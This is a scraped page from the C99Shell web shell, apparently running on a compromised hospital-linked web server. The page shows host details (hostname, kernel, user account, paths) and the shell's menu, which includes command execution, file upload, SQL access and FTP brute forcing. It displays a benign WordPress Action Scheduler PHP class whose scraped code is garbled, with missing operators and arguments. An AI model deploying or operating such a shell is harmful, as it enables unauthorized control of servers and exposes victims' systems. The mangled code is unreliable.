!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/action-scheduler/classes/   drwxr-xr-x
Free 293.35 GB of 429.69 GB (68.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ActionScheduler_FatalErrorMonitor.php (1.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Class ActionScheduler_FatalErrorMonitor
 */
class ActionScheduler_FatalErrorMonitor {
    
/** @var ActionScheduler_ActionClaim */
    
private $claim NULL;
    
/** @var ActionScheduler_Store */
    
private $store NULL;
    private 
$action_id 0;

    public function 
__constructActionScheduler_Store $store ) {
        
$this->store $store;
    }

    public function 
attachActionScheduler_ActionClaim $claim ) {
        
$this->claim $claim;
        
add_action'shutdown', array( $this'handle_unexpected_shutdown' ) );
        
add_action'action_scheduler_before_execute', array( $this'track_current_action' ), 0);
        
add_action'action_scheduler_after_execute',  array( $this'untrack_action' ), 0);
        
add_action'action_scheduler_execution_ignored',  array( $this'untrack_action' ), 0);
        
add_action'action_scheduler_failed_execution',  array( $this'untrack_action' ), 0);
    }

    public function 
detach() {
        
$this->claim NULL;
        
$this->untrack_action();
        
remove_action'shutdown', array( $this'handle_unexpected_shutdown' ) );
        
remove_action'action_scheduler_before_execute', array( $this'track_current_action' ), );
        
remove_action'action_scheduler_after_execute',  array( $this'untrack_action' ), );
        
remove_action'action_scheduler_execution_ignored',  array( $this'untrack_action' ), );
        
remove_action'action_scheduler_failed_execution',  array( $this'untrack_action' ), );
    }

    public function 
track_current_action$action_id ) {
        
$this->action_id $action_id;
    }

    public function 
untrack_action() {
        
$this->action_id 0;
    }

    public function 
handle_unexpected_shutdown() {
        if ( 
$error error_get_last() ) {
            if ( 
in_array$error['type'], array( E_ERRORE_PARSEE_COMPILE_ERRORE_USER_ERRORE_RECOVERABLE_ERROR ) ) ) {
                if ( !empty(
$this->action_id) ) {
                    
$this->store->mark_failure$this->action_id );
                    
do_action'action_scheduler_unexpected_shutdown'$this->action_id$error );
                }
            }
            
$this->store->release_claim$this->claim );
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0976 ]--